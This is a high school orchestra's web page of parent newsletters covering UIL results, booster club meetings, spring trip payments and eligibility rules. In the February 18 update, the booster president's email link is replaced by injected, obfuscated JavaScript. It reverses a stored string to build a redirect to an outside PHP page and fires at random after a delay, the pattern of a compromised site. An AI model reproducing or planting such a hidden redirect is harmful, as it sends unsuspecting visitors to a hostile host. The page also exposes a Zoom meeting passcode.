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ORCHESTRA UPDATE: MARCH 6

ORCHESTRA UPDATE: MARCH 6

1. 2022 UIL: A SUCCESS! 

2. CLUSTER CONCERT FUN!

3. FINAL SPRING TRIP PAYMENT – MAR 7

4. SPRING TRIP ELIGIBILITY – VERY IMPORTANT

5. REQUIRED TRIP MEETING – MAR 22 

1. 2022 UIL: A SUCCESS! 

2022 UIL is in the books and we are SO PROUD of our students! They did an amazing job and have come such a long way since the beginning of the year! 

Symphony Sweepstakes

Philharmonic Superior 

Sinfonia Excellent

Concert Sweepstakes 

A BIG THANK YOU to the booster club and the many parents who helped decorate the room and help feed the students! We couldn’t do any of this without your support! 

You may listen to recordings of our UIL Performances here. Due to copyright restrictions, please DO NOT post these to any social media or viewing platforms. Thank you for your understanding and complaince. 

2. CLUSTER CONCERT FUN!

Our 2022 Cluster Concert was a hit! All 6th grade and JH students from our cluster came together to perform along with the Full Orchestra! Younger students were able to meet and work with the directors they will have in junior high and then at the high school. Thanks to all the officers, student volunteers, and booster club parents who helped us pull off this very important event for our program. 

3. FINAL SPRING TRIP PAYMENT – MAR 7

The final $250 Spring Trip payment is due tomorrow, March 7. Please pay by cash or check made payable to “AHS Orchestra” and note “Spring Trip” in the memo section. You may also pay online here. There is a small convenience fee associated with online payments. 

4. SPRING TRIP ELIGIBILITY – VERY IMPORTANT

To be eligible to participate in the spring trip, students must pass all classes for this 5th Six Weeks. This 5th Six Weeks ends on Fri, April 9. Students not passing all their classes WILL NOT be eligible to travel per AISD guidelines. In addition, students ineligible to travel as of April 9 WILL NOT receive a refund as all payments will have been made to vendors for the trip. Please monitor your grades very closely. 

5. REQUIRED TRIP MEETING

Tues, March 22 at 7:00 pm is our REQUIRED Spring Trip Meeting. Each student MUST be present and accompanied by a parent/guardian; older siblings are not permitted. We will discuss all final information for the trip. 

Orchestra Update: February 18

ORCHESTRA UPDATE: FEBRUARY 18

1. BOOSTER CLUB MEETING FEB 22 – IMPORTANT UIL PREP MEETING!

2. PRE-UIL 

3. UIL 

4. SPRiNG TRIP ELIGIBILITY

5. FUTURE TRIP PAYMENTS & REQUIRED TRIP MEETING

1. BOOSTER CLUB MEETING FEB 22 – IMPORTANT UIL PREP MEETING!

Tuesday, February 22, 7:00 PM, IN-PERSON, Orchestra Room

This is a VERY IMPORTANT meeting! The Booster Club will be planning activities for Pre-UIL, UIL, and Cluster Concert! 

Each year (non-Covid times), the Booster Club decorates the orchestra room for UI and provides food before or after UIL performances for the students. We need parent volunteers to help order, set-up, serve, and clean up food. UIL is during the day on Tuesday – Thursday, March 1-3. 

The students have worked so hard! Please volunteer some of your time to help celebrate their accomplishments! 

If you are unable to attend and would like to volunteer, please contact Booster Club President JoAnna Messimer at $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}to:kchapman@aisd.net”>kchapman@aisd.net

2. PRE-UIL 

UIL Season is here! Please make sure you are bringing instruments home and practicing. Don’t forget to bring them back to school for class!

Pre-UIL is the “dress rehearsal” for our UIL Performance. Each orchestra will perform for judges who will offer comments and give them a rating. They will also go through the same sight reading process as they have in UIL. 

Pre-UIL, Wed, February 23 at AHS 

Concert Attire: Tuxes and Dresses, please pull these out and make sure they are clean and pressed. 

3. UIL 

Please see our UIL performances below. All UIL performances will be at the AISD CVPA. Parents are welcome to come, listen, and support our orchestras! 

Students will be excused from class. Detailed information for each orchestra can be found on the Daily Announcement Slides.

Concert Attire: Tuxes and Dresses 

4. SPRING TRIP ELIGIBILITY- VERY IMPORTANT

To be eligible to participate in the spring trip, students must pass all classes for this 5th Six Weeks. This 5th Six Weeks ends on Fri, April 9. Students not passing all their classes WILL NOT be eligible to travel per AISD guidelines. In addition, students ineligible to travel as of April 9 WILL NOT receive a refund as all payments will have been made to vendors for the trip. Please monitor your grades very closely. 

5. FUTURE TRIP PAYMENTS & REQUIRED TRIP MEETING

Mon, Mar 7 $250 Final Payment Due

Tues, Mar 22 REQUIRED Trip Meeting, Student & 1 Parent

Orchestra Update: January 22

  • 1. BOOSTER CLUB MEETING – TUESDAY, JANUARY 25
  • 2. PRE-UIL 
  • 3. SPRING TRIP PAYMENT 3  DUE THIS FEBRUARY 7
  • 4. AHS GRADUATION –  SYMPHONY & PHILHARMONIC ONLY
  • 5. FUTURE TRIP PAYMENTS & REQUIRED TRIP MEETING
  • 6. SYMPHONY ORCHESTRA AFTER-SCHOOL REHEARSALS

1.  BOOSTER CLUB MEETING  – TUESDAY, JANUARY 25, 7:00 PM

Please join us for our first Booster Club meeting of 2022! The spring is chalked full of exciting events that we need your help with! We will be discussing and planning for our Movie Night, Pre-UIL, UIL and, of course, it’s never too early to talk about Colonial! Please get involved and help this semester be an amazing one for the AHS Orchestra! 

Join Zoom Meeting

https://us02web.zoom.us/j/6594134841?pwd=ODRBMGxMMHllMndTdnkxYUpzZW1JUT09

Meeting ID: 659 413 4841

Passcode: mr57Mh

2. PRE-UIL 

UIL Season is here! Please make sure you are bringing instruments home and practicing. Don’t forget to bring them back to school for class!

Pre-UIL is the “dress rehearsal” for our UIL Performance. Each orchestra will perform for judges who will offer comments and give them a rating. They will also go through the same sight reading process as they have in UIL. 

Pre-UIL, Wed, February 23 at AHS 

UIL Tuesday through Thursday, March 1 – 3, Precise dates and times TBD

3.  SPRING TRIP PAYMENT 3 DUE FEBRUARY 7

Spring Trip Payment 3 for $250 is due February 7. Please bring cash or check made payable to “AHS Orchestra” or pay online by going to  http://ahsorchestra.com/forms-docs/ and clicking on “AHS Orchestra Trip Payments.” 

4. AHS GRADUATION – SYMPHONY & PHILHARMONIC

Symphony and Philharmonic Orchestras combine to perform for the AHS Graduation. This is a REQUIRED AND GRADED PERFORMANCE. Please mark your calendars:

Graduation Rehearsals: TBD, usually one of the last days of school and the day before Graduation. 

Graduation: Wed, Jun 8, 8:30 AM 

        Call Time: 7:00 AM at AHS then Bused over to graduation venue

        Return Time: 11:00 AM, approx. 

5. FUTURE TRIP PAYMENTS & REQUIRED TRIP MEETING

Mon, Feb 7 $250 Payment 3 Due

Mon, Mar 7 $250 Final Payment Due

Tues, Mar 22 REQUIRED Trip Meeting, Student & 1 Parent